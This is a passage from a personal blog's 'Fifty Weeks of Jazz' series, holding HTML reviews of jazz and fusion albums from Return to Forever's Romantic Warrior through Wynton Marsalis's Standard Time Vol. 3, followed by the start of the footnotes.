href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-39">Birds of Fire</a></em>; namely, <em>Romantic Warrior</em> is:</p> <ul> <li>Completely awesome;</li> <li>a singular, cohesive prog masterpiece;</li> <li>…<em>not</em> jazz?</li> </ul> <p>I've listened to a lot more rock than jazz in my time, and let me tell you, this is rockin’:</p> <p><audio controls src="sorceress_guitar_solo.mp3"></audio></p> <p>I'm sure those more musically-discerning than I can give meticulous explanations as to why this should be counted among the jazz canon, but I'm still not able to really feel that for myself yet. Of course, that didn't stop this album from winning me over on first listen—I am obsessed with the deep bass in "The Romantic Warrior," and I am delighted that the band wasn't too self-serious to inject some whimsy with "The Magician". (Come to think of it, the way that track expressly develops a distinct character reminds me of Holst's <em><a rel="external" href="https://en.wikipedia.org/wiki/The_Planets">The Planets</a></em>, which of course has a magician of its own.)</p> <p>But if you only take one thing away from this article, let it be this plea: where are the indie games built around jazz fusion soundtracks? <em>Romantic Warrior</em> is an enthralling listening experience—it evokes such rich imagery that while it doesn't <em>need</em> a visual accompaniment, it would make for an even more immersive adventure. Make me the Man of La Mancha and let me tilt at windmills while the guitar solos wail!</p> <p>One more unusual connection to highlight before we depart: when investigating fellow jazz fusionists <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-39">Mahavishnu Orchestra</a>, we learned that they were inspired by Sri Chinmoy, a religious leader somewhat outside mainstream practice. <em>Romantic Warrior</em> has similar "outré" spiritual inspirations: the album is dedicated to L. Ron Hubbard, because Chick Corea was a devout Scientologist. Amazingly, this isn't even his most Scientology-ist jazz work: Corea played on an album literally called <em><a rel="external" href="https://en.wikipedia.org/wiki/Space_Jazz">Space Jazz</a></em> (the "soundtrack" for one of Hubbard's books), and though I have little inclination to support that particular organization, "space jazz" is <em>exactly</em> the kind of music I want to listen to.</p> <p>So, overall: <em>Romantic Warrior</em> is another jazz fusion album earning top marks from me—and one that I will surely be returning to, forever.</p> <p><em>Favourite track:</em> The Romantic Warrior</p> <h2 id="week-46">Week 46: <a href="https://musicbrainz.org/release-group/54abe394-dfae-3f4b-9975-65e17b7c2b6f">School Days</a></h2> <p>I'm beginning to think that as <em>composers</em>, jazz bassists may simply be built different. We've heard Jaco Pastorius pen some absolutely nutty tracks (both on his <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-22">solo debut</a> as well as on <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-23">Heavy Weather</a></em>), and for my money, the work of <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-31">Charles Mingus</a> is even greater. Stanley Clarke, bassist par excellence, upholds that vaunted tradition with this week's album, <em>School Days</em>—six all-original tracks that achieve a truly sublime synthesis of jazz, funk, rock, and more.</p> <p>We actually had our first taste of Clarke <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-45">last week</a>:<sup class="footnote-reference"><a href="#school-days-recording-date">71</a></sup> as a close friend of Corea, Clarke was the only other permanent member of Return to Forever.<sup class="footnote-reference"><a href="#clarke-scientology">72</a></sup> Don't pigeonhole him as "the RtF bassist though"—of the five Grammy Awards he's won, three are for his solo work; along the way he's recorded with members from groups like The Police, The Rolling Stones, and y'know, The Beatles (McCartney called up Clarke for <a rel="external" href="https://www.guitarworld.com/features/when-stanley-clarke-met-paul-mccartney">bass-slappin’ lessons</a>). Even Clarke's first foray into jazz and its many fusions was happenstance: he originally "intended to become the first black musician in the Philadelphia Orchestra until he met jazz pianist Chick Corea" (per <a rel="external" href="https://en.wikipedia.org/wiki/Stanley_Clarke#Return_to_Forever_(band)">Wikipedia</a>).</p> <p>As for the tracks themselves, "School Days" immediately sets the tone for the rest of the album with Clarke's chunky power chords, and it doesn't take long before his soloing begins—if you weren't already a believer, Clarke will make you one in just under eight minutes. "Quiet Afternoon" turns down the temperature for a breather with some subdued electronic-heavy stylings, just so "The Dancer" can liven things up again immediately after. Curmudgeon that I am, I often demand a little pique or intrigue from my jazz—"The Dancer" is unabashedly fun, upbeat, and simply happy throughout, but it's so earnest and successful in its execution that even I can't help but crack a smile. "Desert Song" features beautiful interplay between the guitars (though see <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-38">Beyond the Blue Horizon</a></em> for a more obviously Eastern-inspired guitar trek). "Hot Fun" is exactly what it says on the tin: the funk is turned up to 11; blast this as you strut down Harlem. Finally, "Life Is Just a Game" is where the whole album comes together for me: the other tracks are fun, interesting, or catchy, but "Life Is Just a Game" is the only truly <em>epic</em> song of the bunch. I'm fascinated by the blink-and-you'll-miss-them vocals that connect a musical theme to the song's lyrical thesis, only to immediately exit stage left; overall I strongly feel a narrative arc being created through this piece in a way that's highly reminiscent of <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-39">Birds of Fire</a></em>. Also, the climactic build near the beginning and end sounds exactly like something that would play after you 3-star every cup in a Mario Kart game. Just sayin’.</p> <p>In <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-45">recent weeks</a>, I have been, shall we say, <em>skeptical</em> of the jazz bona fides of certain jazz fusion albums. I don't feel that way about <em>School Days</em>: I can't adequately articulate or point to what distinguishes this from previous entries, but here I feel a genuine partnership between jazz and rock (rather than one subsuming the other).</p> <p>I began by comparing Clarke to Pastorius and Mingus, but upon further reflection I've come to see him more as a blending of the two: his virtuosic command of the bass rivals Jaco, and he clearly also shares no small measure of Mingus's compositional genius. What ought one do with such tremendous musical talents? Perhaps Clarke already told us:</p> <blockquote> <p>So life is just a game</p> <p>And there are many ways to play</p> <p>And all you do is choose</p> <p>La la la la la la</p> </blockquote> <p><em>Favourite track:</em> Life Is Just a Game</p> <h2 id="week-47">Week 47: <a href="https://musicbrainz.org/release-group/363822b7-5446-3e08-9ad5-3aed85de1fd0">8:30</a></h2> <p>For hundreds of thousands of years, the human musical experience was quite straightforward: if you wanted to listen to music, you needed someone to perform it for you. Then in 1877, Edison invented the phonograph and forever upended that requirement: music could now be recorded in advance, then replayed whenever. Over time, this recording process grew so elaborate that the final sounds delivered by the audio engineers were often well beyond anything the band ever produced contemporaneously. Of course, humans will always demand in-person concerts, so if you're a group that made it big based on an elaborate studio setup, how can you tour? Well, inevitably you hack something together and hope to pack the seats. And if you're really enterprising, you'll record some of those live shows too,<sup class="footnote-reference"><a href="#recordings-all-the-way-down">73</a></sup> and in so doing you will have created a dilemma all music lovers today face: live or studio albums?<sup class="footnote-reference"><a href="#concerts-vs-albums">74</a></sup></p> <p>This week's album, <em>8:30</em>, puts that question to us directly. We first heard Weather Report in the studio<sup class="footnote-reference"><a href="#heavy-weather-live-track">75</a></sup> on their monumental album, <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-23">Heavy Weather</a></em>; three of those eight tracks appear as part of <em>8:30</em>'s epic 80-minute live set. So which is the superior experience? As someone helplessly <a rel="external" href="https://en.wikipedia.org/wiki/Glenn_Gould">Gould</a>-pilled, I hew towards the studio. Even though this is a quite faithful live album, studio recordings in general offer a level of polish and detail that simply can't be equalled in a single take—what sends shivers down my spine is not the canned cheers of a faceless crowd, but rather, e.g., the sublime soloing of Zawinul near the end of "A Remark You Made" (a solo that comes through much more cleanly in the studio!). Of course, that's not to say live albums are intrinsically worse: at their best, they can capture intimate, conversational moments between performer and audience that have no studio equivalent; <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-22">Jaco Pastorius</a> illustrates that perfectly here with "Slang" (and <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-43">Wayne Shorter</a> isn't far behind with "Thanks for the Memory"). They can also serve as pseudo-"Best of" albums, samplers of an artist's wider oeuvre—just as the first half of <em>8:30</em> does, with many inclusions from Weather Report's earlier hits. And finally, the spontaneity of live performance sometimes produces wonderfully weird things that, while unpolished, ought to be preserved all the same (see the second half of <em>8:30</em>, which features alien babble, a children's choir, and a train running through the stage).</p> <p>So all that to say: live albums aren't worse in general; they simply aren't my preference. At first, I turned my nose up at <em>8:30</em>, finding it to be a worse version of <em>Heavy Weather</em> with other miscellaneous goodies thrown in. But with the benefit of repeated listens, I've come to appreciate it as 80 minutes of often euphoric, frequently conversational, and always captivating jazz fusion.</p> <p>Such milquetoast takes make for poor engagement bait, however. So instead of closing there, allow me to present my Universal Theory of Studio Versus Live Albums, which will predict every other part of your personality with 100% accuracy based simply on your album preference:</p> <table><thead><tr><th>Studio albums</th><th>Live albums</th></tr></thead><tbody> <tr><td>Theory</td><td>Practice</td></tr> <tr><td>Mind</td><td>Body</td></tr> <tr><td>Order</td><td>Chaos</td></tr> <tr><td>Introversion</td><td>Extroversion</td></tr> <tr><td><a rel="external" href="https://en.wikipedia.org/wiki/Bouba/kiki_effect">Bouba</a></td><td><a rel="external" href="https://en.wikipedia.org/wiki/Bouba/kiki_effect">Kiki</a></td></tr> </tbody></table> <p><em>Favourite track:</em> Badia/Boogie Woogie Waltz Medley</p> <h2 id="week-48">Week 48: <a href="https://musicbrainz.org/release-group/8bfbf392-a966-3db4-845c-63c6e6acdc98">Round Midnight: Original Motion Picture Soundtrack</a></h2> <p>The more time I spend with the two <a rel="external" href="https://www.discogs.com/release/2375584-Various-The-Perfect-Jazz-Collection">box</a> <a rel="external" href="https://www.discogs.com/release/2966397-Various-The-Perfect-Jazz-Collection-2">sets</a> guiding our journey, the more structural similarities I notice between them. Each has <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-1">one</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-28">Armstrong</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-5">one</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-29">Davis</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-9">one</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-31">Mingus</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-23">a smattering</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-45">of fusion</a>, and also one movie soundtrack. Last time it was <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-25">Bird</a></em> (Clint Eastwood's elegy to Charlie Parker); this time it's <em><a rel="external" href="https://en.wikipedia.org/wiki/Round_Midnight_(film)">Round Midnight</a></em>, which chronicles the final years of Dale Turner, a fictional saxophonist (played by <em>real</em> saxophonist <a rel="external" href="https://en.wikipedia.org/wiki/Dexter_Gordon">Dexter Gordon</a>) based heavily on the lives of Lester Young<sup class="footnote-reference"><a href="#young-in-sound-of-jazz">76</a></sup> and <a rel="external" href="https://en.wikipedia.org/wiki/Bud_Powell">Bud Powell</a>.</p> <p><em>Round Midnight</em> feels like a fitting capstone as we approach the conclusion of Fifty Weeks of Jazz (please, stifle your tears lest you ruin your keyboard): released in 1986 but set in the 1950s, it features a who's who of then-modern jazz musicians, albeit mostly emulating an older style. We've encountered many of those artists before, such as <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-20">Herbie Hancock</a>—who composed and arranged the score—as well as <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-37">Freddie Hubbard</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-42">Ron Carter</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-41">Chet Baker</a>, and <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-43">Wayne Shorter</a>; you can decide for yourself whether that makes this a victory lap or a final exam.</p> <p>My entry point to <em>Round Midnight</em> was the soundtrack, so let's start there. Much like the cast of musicians behind it, there's variety on offer: we get a couple of Monk covers, tremendous vocal performances from both male and female singers ("Fair Weather" with Chet Baker and "How Long Has This Been Going On?" from <a rel="external" href="https://en.wikipedia.org/wiki/Lonette_McKee">Lonette McKee</a>, respectively), fantastic solos on instruments from soprano sax to vibraphone, and some new compositions from Hancock (including a collaboration with Stevie Wonder). I'm hard-pressed to find a dud among them; each track is strong in its own way—but of course, some highlights distinguish themselves. For instance, we've heard "Round Midnight" (the song) <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-13">multiple</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-29">times</a> by now, but the version of the melody in the first track transfixed me: it's so expressive and ethereal that I initially struggled to place the instrument; turns out it's the inimitable vocal stylings of <a rel="external" href="https://en.wikipedia.org/wiki/Bobby_McFerrin">Bobby McFerrin</a> (whom you'll certainly know from "<a rel="external" href="https://www.youtube.com/watch?v=d-diB65scQU&amp;list=RDd-diB65scQU">Don't Worry, Be Happy</a>"). I adore Wayne Shorter on soprano sax, so obviously "The Peacocks" resonated with me; it also called to mind "Bird Calls" from <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-31">Mingus Ah Um</a></em>. "Una Noche con Francis"<sup class="footnote-reference"><a href="#una-noche-con-francis">77</a></sup> provides some much-needed levity after a few opening tracks that skew dark; "Minuit aux Champs-Elysées" features some great vibraphone work. But the sleeper hit for me is "Bérangère’s Nightmare:" pulsating and tense, it immediately evokes that titular terror. It seems sacrilegious to rank this mood-setting piece above the fuller, iconic jazz standards on this album, but it's the one that most consistently gripped me (and interestingly, as <a rel="external" href="https://www.bbc.co.uk/music/reviews/qgw6/">this BBC review notes</a>, it's also totally anachronistic in the context of the movie). So all in all, this is one soundtrack I'm quite glad to own (and perhaps I ought to also check out <a rel="external" href="https://en.wikipedia.org/wiki/The_Other_Side_of_Round_Midnight">the companion album</a> as well)—the only miss is that it fails to include a fun rendition of "<a rel="external" href="https://www.youtube.com/watch?v=CqjbVFQyiMs">Put it Right Here</a>" from the movie (though I could do without the racist interlude…).</p> <p>As for the film itself, I'm a bit more ambivalent. Much of the acting is commendable: Dexter Gordon is utterly convincing as Dale Turner<sup class="footnote-reference"><a href="#gordon-as-turner">78</a></sup>, and of all people Martin Scorsese is suffocatingly smarmy as an American club manager, creating delectable cultural whiplash after we spend most of our screen time hanging around cultured, high-minded Europeans and sympathetic American romantics. But whereas <em>Bird</em> had a clear tragic arc to ground the narrative, <em>Round Midnight</em> is more willing to simply luxuriate in the sights and sounds of faux mid-century Paris. If you're a real jazzhead, that's likely to be a great time—especially given how many prominent real-life musicians are on screen in cameo roles—but for those just looking to dip their toes into the scene, it strikes me as a hard sell.</p> <p>My favourite part of <em>Round Midnight</em> is how it plays with verisimilitude: Gordon, a real-life jazz star, plays a fictional saxophonist based (in part) on another real sax legend. But of course, Lester Young himself is such a big name that he exists in the movie universe as well, right alongside Turner. Add in the panoply of other real-life musicians rounding out the cast and the result is a work of fiction, but one so grounded in a love and respect for the music and culture of jazz that it feels more like a documentary from a parallel timeline. As someone living in a time and place where jazz is not quite in the zeitgeist, there is a certain vicarious joy in beholding even a simulacrum of what it might've felt like to be a part of that moment.</p> <p>So, if I can only recommend one, start with the soundtrack—but if you have a free evening and care to relive some jazz nostalgia, <em>Round Midnight</em> will suit you quite well.</p> <p>I'll turn it over to Dale Turner to close the books on a busy year:</p> <blockquote> <p>Francis: You are tired, Dale?</p> <p>Dale: Oh yes. I'm tired of everything. Except… the music.</p> </blockquote> <p><em>Favourite track:</em> Bérangère’s Nightmare</p> <h2 id="week-49">Week 49: <a href="https://musicbrainz.org/release-group/4d72f1e7-1663-3bbc-a784-a4d433314dd7">Carmen Sings Monk</a></h2> <p>Thelonious Monk has already had <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-11">two</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-36">at-bats</a> during Fifty Weeks of Jazz, neither of which (I'm sorry to say) terribly excited me. Moreover, while we've heard from many of the <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-2">greatest</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-4">female</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-34">jazz</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-35">vocalists</a> of all time, I still find myself more often reaching for instrumental albums. So I approached <em>Carmen Sings Monk</em>—which, unsurprisingly, features <a rel="external" href="https://en.wikipedia.org/wiki/Carmen_McRae">Carmen McRae</a> singing vocal covers of Monk tracks—with some trepidation. But after having spent a week with the album, I can only imagine the curt response McRae might've had for my initial hesitation: "<a rel="external" href="https://www.youtube.com/watch?v=qYADfnI-iSs">Well, You Needn't</a>."</p> <p>Yep, this one's a certified banger. But that's a bit perplexing: we've heard some of these tracks directly from Monk before (such as "Monk's Dream" and "Ugly Beauty"<sup class="footnote-reference"><a href="#mcrae-in-walked-bud">79</a></sup>)—they didn't fully enchant me then; what's different this time around? This is one case where the obvious answer happens to be the correct one: I think I just prefer McRae's pipes to Monk's plonking. I had previously assumed that there was something about Monk's <em>compositional</em> style that didn't jibe with me, but McRae quickly disproved that. At the risk of seeming unsophisticated<sup class="footnote-reference"><a href="#seeming-unsophisticated">80</a></sup>, McRae's greatest success is in making Monk's melodies <em>catchy</em> to me: musical motifs that I would have been hard-pressed to quote before have become phrases hummed while ambling about. While Monk's playing is frequently described as "angular" and "percussive," McRae is lively, witty, and charming. The liner notes describe McRae as a "consummate storyteller," and I'm inclined to agree. For some singers, I get the sense that lyrics are arbitrary phonemes conjured into existence solely to limit the listener's daydreaming—not so with McRae. She has a knack for spinning the words into one-sided conversations, creating performances that are certainly exceptional musically, and even edge towards becoming dramatic works in their own right.</p> <p>This is also an album with some serious depth—I knew I was keen on it overall when I realized that my favourite track had shifted around several times. I came into this thinking "Suddenly" (aka "In Walked Bud") would be the easy winner, but it didn't take long before "It's Over Now" (aka "Well You Needn't") climbed to the top, and "Man, That Was a Dream" (aka "Monk's Dream") still isn't far behind.</p> <p>Oh right; I haven't yet explained those weird duplicate titles and "akas." Even though each track on this album is a cover of a Monk composition, the titles here are totally distinct from the originals (e.g., "In Walked Bud" is called "Suddenly" on this album, even though they're clearly the same song) This confused me, and the explanation from the liner notes—"the reason for these title changes is simply insistence by the music publishers"—failed to sate my curiosity. So here's your mini-lesson on intellectual property law: in general, you can't copyright the <em>title</em> of a creative work; if you want to call your nü jazz album <em>Kind of Blue</em>, so be it. However, adding lyrics to an existing instrumental track (as McRae is doing here) creates a new "derivative work" that must be blessed by the original rights holder. Clearly the rights holders of Monk's compositions approved in this case (otherwise we wouldn't have this album), but presumably only on the condition of changing the titles. Why would they bother to ask for that? Alas, simply to please the bean counters: having distinct titles makes tracking performances/royalties/etc. simpler and heads off any ambiguity. While these revised titles have largely functional origins, they also seem to be thematically cohesive; I found myself sliding them around like those <a rel="external" href="https://magneticpoetry.com/">poetry magnets</a>. So join me in sticking it to the suits with an exercise in <a rel="external" href="https://en.wikipedia.org/wiki/Found_poetry">found poetry</a>:</p> <blockquote> <p>GET IT STRAIGHT</p> <p>SUDDENLY</p> <p>IT'S OVER NOW</p> <p>LOOKING BACK</p> <p>MAN, THAT WAS A DREAM</p> <p>HOW I WISH…</p> <p>YOU KNOW WHO</p> <p>LISTEN TO MONK</p> <p>DEAR RUBY</p> <p>LITTLE BUTTERFLY</p> <p>MONKERY'S THE BLUES</p> <p>STILL WE DREAM</p> <p>ROUND MIDNIGHT</p> </blockquote> <p><em>Favourite track:</em> It's Over Now</p> <h2 id="week-50">Week 50: <a href="https://musicbrainz.org/release-group/71dae516-ab50-3891-bb28-a81d8a83988c">Standard Time, Vol. 3: The Resolution of Romance</a></h2> <p>Oh, dear reader: we've arrived at the ultimate entry in our jazzventure—and posted several weeks late, no less. You must think me the sentimental type; too attached to our journey to bear saying goodbye. Fortunately I suffer no such affliction—painters love to paint, writers love having written—rather, this week's album provoked such a fierce outburst of apathy from me that I required some extra time to push through. (That apathy never boiled over into <em>antipathy</em>, mind you; there is fine music on offer here!)</p> <p>Let's begin with the facts: we've heard from Wynton Marsalis <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-24">once before</a>, and much like <em>Volume 1</em>, this album features Marsalis' take on a number of tried-and-true jazz standards, with a few originals sprinkled in as well—however, this instalment is distinguished by the appearance of Marsalis' father, Ellis, on piano throughout. (A performance which sadly left little impression on me.) After a year of listening I was hoping to have decent coverage of those standards, but alas, I only recognized a couple.<sup class="footnote-reference"><a href="#marsalis-double-overlap">81</a></sup> Among the covers, I particularly liked "How Are Things in Glocca Morra?"—a simple, touching pop tune that gives Marsalis ample space to show off his beautiful tone. But interestingly, it was Marsalis' originals that outperformed for me; there are only three on the album, but two of them ended up being among my favourite tracks. "In the Court of King Oliver" successfully harks back to some of the earliest days of jazz with its steady, foot-tapping two-beat rhythmic pulse, whereas "The Seductress" shows that in Marsalis' mind, there must be no sound more arousing than a trembling wah-wah, because it arrives clad in nothing but and shakes them in your face the full three minutes. (That's a show I can appreciate, but it left my wife turned off.)</p> <p>So what exactly is my gripe? Well, for all Marsalis' technical abilities (which are considerable), to me this album still lacks a certain <em>joie de vivre</em>. I can't help but contrast it with "<a rel="external" href="https://www.youtube.com/watch?v=E7hoX7golZI">Better Git It In Your Soul</a>," which encapsulates everything I want out of jazz: it's swinging, it's ebullient, it's <em>alive</em> and suffused with something undeniably life-affirming. I'm sure Marsalis Jr. and Sr. can play with the best of them, but on this album it feels like they forgot to have fun—something I find astonishing in a genre as dynamic and playful as jazz.</p> <p>Intentional or not, it feels provocative to end this box set on a Marsalis album. As one of jazz's preeminent statesmen, and artistic director of <a rel="external" href="https://jazz.org/">Jazz at Lincoln Center</a>, Marsalis has considerable influence in shaping the future of jazz. But rather than dare to ask what jazz might be, Marsalis seems content to cherish and preserve what it has been. I'll readily concede that Marsalis' familiarity with jazz is far beyond what mine ever shall be, but I can't help but notice that's not the strategy espoused by any of Marsalis' idols (<a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-28">Armstrong</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-26">Ellington</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-25">Parker</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-36">Monk</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-31">Mingus</a>, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-29">Davis</a>…). I'm very glad to have Marsalis' conservative voice among the modern jazz chorus, but I don't want him writing the songbook by himself. At nearly 65 years old, this <a rel="external" href="https://www.knkx.org/jazz/the-young-lions-brought-bebop-and-swing-roaring-back">Young Lion</a>'s mane is showing streaks of grey—I suppose only time will tell whether his pride triumphs.</p> <p><em>Favourite track:</em> In the Court of King Oliver</p> <hr> <div class="footnote-definition" id="satchmo"><sup class="footnote-definition-label">1</sup> <p>One of Louis Armstrong's nicknames—look, I'm learning already!</p> </div> <div class="footnote-definition" id="basie-ellington-mnemonic"><sup class="footnote-definition-label">2</sup> <p>Easy mnemonic to keep it straight: try making lowercase "b" or "d" letters with both your hands (i.e. make an "OK" gesture, then straighten your third, fourth, and pinkie fingers). You'll notice that on your left you have Count <em>b</em>asie, while on your right you have <em>d</em>uke Ellington.</p> </div> <div class="footnote-definition" id="wild-man-notes"><sup class="footnote-definition-label">3</sup> <p>I'm a sucker for some jazz flute (which also featured in a track on <em>Side by Side</em>). Wild Man brings that, and the ending gives me chills—the pianos trading off final high &amp; low notes is perfect.</p> </div> <div class="footnote-definition" id="bright-mississippi-disambiguation"><sup class="footnote-definition-label">4</sup> <p>Uh, the (take 1) version I guess? It's cool that many of the albums we've seen so far contain multiple versions of the same song, but I don't yet know any of them well enough to distinguish between takes.</p> </div> <div class="footnote-definition" id="rollins-hawkins-mnemonic"><sup class="footnote-definition-label">5</sup> <p>Don't worry, I've got a mnemonic for this one too. Try to make a lower-case "h" by curling your index finger down and straightening your other (non-thumb) fingers. You'll have a proper "h" on your left, which is Hawkins' channel. And the, uh, other one is Rollins.</p> </div> <div class="footnote-definition" id="saxocannon-source"><sup class="footnote-definition-label">6</sup> <p>Hat tip to <a rel="external" href="https://www.nosuchthingasafish.com/">No Such Thing as a Fish</a> for putting me onto this (and much more) tomfoolery.</p> </div> <div class="footnote-definition" id="solal-description"><sup class="footnote-definition-label">7</sup> <p>Taken from the album notes, which are a veritable gold mine for this album, as we'll soon see.</p> </div> <div class="footnote-definition" id="wikipedia-frieze"><sup class="footnote-definition-label">8</sup> <p>I'm not kidding, that's an <a rel="external" href="https://en.wikipedia.org/wiki/Frieze">actual quote</a>. I like to consider myself a reasonably well-educated and well-rounded person, but after repeatedly bashing my head against that entry, I retreated to <a rel="external" href="https://simple.wikipedia.org/wiki/Simple_English_Wikipedia">Simple English Wikipedia</a> and that was only marginally better.</p> </div> <div class="footnote-definition" id="desmond-bequeath"><sup class="footnote-definition-label">9</sup> <p>"Take Five" is the best-selling jazz single of all time. So it was particularly generous of Desmond to <a rel="external" href="https://en.wikipedia.org/wiki/Paul_Desmond#cite_note-18">bequeath all further proceeds from his songs to the Red Cross</a>—a gift that so far has totalled over six million dollars.</p> </div> <div class="footnote-definition" id="desmond-mulligan-mnemonic"><sup class="footnote-definition-label">10</sup> <p>Another week, another mnemonic—sure, no problem. This time, start by making a capital "G" with your left hand (curling your thumb inwards) and a lowercase "d" with your right. Then, either swap your hands around or put your headset on backwards, because Desmond is on the left, and Gerry is on the right.</p> </div> <div class="footnote-definition" id="blight-of-the-fumblebee-anecdote"><sup class="footnote-definition-label">11</sup> <p>Once again, I am indebted to the album notes for this anecdote.</p> </div> <div class="footnote-definition" id="hollow-men-spoonerism"><sup class="footnote-definition-label">12</sup> <p>Though—controversy!—<a rel="external" href="https://en.wikipedia.org/wiki/The_Hollow_Men">the Wikipedia page</a> for "The Hollow Men" credits the same joke to <a rel="external" href="https://en.wikipedia.org/wiki/Mort_Sahl">Mort Sahl</a>.</p> </div> <div class="footnote-definition" id="counterpoint-refresher"><sup class="footnote-definition-label">13</sup> <p>If, like me, you need a refresher: counterpoint is when a piece of music features several musical lines that exist completely independently (i.e., it'd sound fine to play just one without the other); however, when played together, the resulting sound is far beyond the sum of its parts. You can hear counterpoint in everything from the lowly "Frère Jacques" (when sung as a round) all the way to Bach's deeply intricate fugues.</p> </div> <div class="footnote-definition" id="64-quartets"><sup class="footnote-definition-label">14</sup> <p>For more information, see <a rel="external" href="https://64quartets.wordpress.com/2020/08/18/5-the-benny-goodman-quartet/">this incredibly detailed article</a> by Chris O'Leary (from which I've drawn throughout).</p> </div> <div class="footnote-definition" id="benson-beatles"><sup class="footnote-definition-label">15</sup> <p>Not to mention his own rendition of <em><a rel="external" href="https://en.wikipedia.org/wiki/The_Other_Side_of_Abbey_Road">Abby Road</a></em>.</p> </div> <div class="footnote-definition" id="benson-rollerskating"><sup class="footnote-definition-label">16</sup> <p>According to <a rel="external" href="https://www.spin.com/2024/07/george-benson-still-breezin-after-all-these-years/">this interview</a>, the rollerskating wasn't planned: on the evening of the shoot, there just happened to be a group of people rollerskating, and Benson—who spent his youth skating—insisted on joining in on the fun (to his manager's great consternation).</p> </div> <div class="footnote-definition" id="porgy-and-bess"><sup class="footnote-definition-label">17</sup> <p>Note to self: at some point, I really ought to give the Gershwins their own treatment: besides this album, we've already <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-2">heard</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-15">three</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-16">others</a> that lift tracks from those brothers.</p> </div> <div class="footnote-definition" id="tatum-st-louis-blues"><sup class="footnote-definition-label">18</sup> <p>I'm biased because this was the very first track all the way back in <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-1">week 1</a>—that's still one of my favourite songs from this entire experience, so hearing the same theme again here caught my ear right away. "Tiger Rag" is pretty great too.</p> </div> <div class="footnote-definition" id="mambo-carmel"><sup class="footnote-definition-label">19</sup> <p>The opening chords in this one really reminded me of <a rel="external" href="https://en.wikipedia.org/wiki/B%C3%A9la_Bart%C3%B3k">Bartók</a>, but I can't coherently articulate why.</p> </div> <div class="footnote-definition" id="hancock-institute-of-jazz"><sup class="footnote-definition-label">20</sup> <p>Which like, ouch, for Monk.</p> </div> <div class="footnote-definition" id="pastorius-bonus-tracks"><sup class="footnote-definition-label">21</sup> <p>Those soaring strings are from "Forgotten Love," which was the closing track on the original release. The CD re-release I have includes two bonus tracks afterwards—generally I'm all for those goodies, but in this case I find they really ruin the perfect dénouement created by "Forgotten Love." ("6/4 Jam" <em>is</em> pretty fun though.)</p> </div> <div class="footnote-definition" id="kuru"><sup class="footnote-definition-label">22</sup> <p>…isn't Kuru that prion disease typically spread via cannibalism?? Yes, <a rel="external" href="https://en.wikipedia.org/wiki/Kuru_(disease)">yes it is</a>…</p> </div> <div class="footnote-definition" id="classical-vs-jazz"><sup class="footnote-definition-label">23</sup> <p>Though obviously one has much greater latitude in re-interpreting a standard than, say, Beethoven's Ninth; regardless, in both cases the emphasis is on presenting new ideas in a well-known piece.</p> </div> <div class="footnote-definition" id="foggy-day-lyrics"><sup class="footnote-definition-label">24</sup> <p>Catchy too; I sing this all the time. And yes, I know I just disqualified Merrill's "April in Paris" because it has vocals, but I don't have another instrumental "A Foggy Day," so you'll have to deal with this asymmetric matchup.</p> </div> <div class="footnote-definition" id="chan-private-recordings"><sup class="footnote-definition-label">25</sup> <p>Some of these recordings weren't even commercial, they were friendly sessions recorded on very early tape recorders. A few even came directly from the private collection of Chan Parker, Bird's long-time common-law partner.</p> </div> <div class="footnote-definition" id="college-plain-old-blues"><sup class="footnote-definition-label">26</sup> <p>Per the album notes, which are also quick to caution "if a blues played by Brubeck can ever be called plain or old!" in a parenthetical. There's a gap in my identification abilities here: listening to <a rel="external" href="https://en.wikipedia.org/wiki/Twelve-bar_blues">a standard blues progression</a> sounds quite familiar, but I didn't spot it myself in "Balcony Rock."</p> </div> <div 